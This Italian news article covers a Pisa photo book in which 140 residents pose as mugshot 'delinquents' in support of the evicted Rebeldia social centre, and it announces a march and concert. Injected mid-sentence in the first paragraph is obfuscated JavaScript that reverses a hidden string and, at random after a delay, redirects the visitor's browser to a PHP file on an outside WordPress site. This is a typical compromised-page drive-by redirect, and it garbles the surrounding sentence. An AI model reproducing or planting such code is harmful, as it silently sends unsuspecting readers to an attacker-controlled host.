"Io difendo Rebeldia", il book dei pisani che difendono l'occupazione

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Il book collettivo dei pisani che hanno sposato la causa del centro sociale sfrattato e in cerca di una nuova sistemazione. Centoquaranta volti sono passati davanti all’obiettivo fotografico, sabato 23 maggio 2009, in Piazza della Pera, pos (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando di fronte e di profilo. Dietro di loro, le tacche graduate delle fotografie segnaletiche utilizzate dalla polizia scientifica dai primi del Novecento. Un totale di 280 scatti, per autodenunciare la propria adesione alla campagna di difesa contro lo sfratto del Progetto Rebeldía”.

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E’ stato presentato così il book fotografico “Io difendo Rebeldìa” per annunciare la manifestazione di sabato 13 giugno. Sotto il continuo lavorare della macchina fotografica di Rita Di Ianni, della rete “Contro Tv”, militanti, simpatizzanti, cittadini che lo scorso 23 maggio passeggiavano in centro, nonni con i bimbi, migranti, si sono dati la definizione autonoma di ‘delinquenti’ perchè consapevoli sostenitori di una causa. Molti di questi scatti li abbiamo pubblicati in una galleria sul nostro sito internet; l’intera opera verrà esposta in un lungo striscione che sarà mostrato alla città durante la manifestazione di sabato.

“Questa idea è stata concepita per dare un volto e un nome ad ogni persona che ha aderito alla causa delle 30 associazioni di via Battisti” spiega la fotografa di “Contro Tv”, “bisogna rovesciare il problema della rappresentanza, mettersi in gioco, mostrarsi ed esporre le proprie opinioni. I cittadini hanno partecipato in modo giocoso e serio al tempo stesso, in fila in attesa della fotografia, riflettendo sul contributo sociale e civile che possono dare i singoli”.

Crescono rapidamente le adesioni da parte di associazioni e gruppi, arrivate a oltre 50, che oltre a riflettere uno spaccato di società, si aggiungono nei contenuti, agli elementi conflittuali riportati dai tecnici. Per la giornata di sabato è previsto il concentramento alle 17 in piazza Sant’Antonio. Il corteo attraverserà il centro seguendo il percorso di viale Bonaini, p.zza guerrazzi, via S.Martino, Logge di Banchi, p.zza Garibaldi e Lungarno Pacinotti per concludersi in p.zza Carrara con serata di concerti gratuiti. Suoneranno i gruppi cittadini “storici”, Working Vibes, Tom Moto , Poca Onda, i Bugz e ospiti a seguito, “a difesa della musica in città e degli spazi pubblici”.

Molte infatti le realtà inserite nel territorio, come ExWide, Argini e Margini, Leningrad, che hanno aderito a fronte di una questione che riguarda tutti: la gestione degli spazi in città, proposte musicali e culturali.

[Fonte Il Tirreno]

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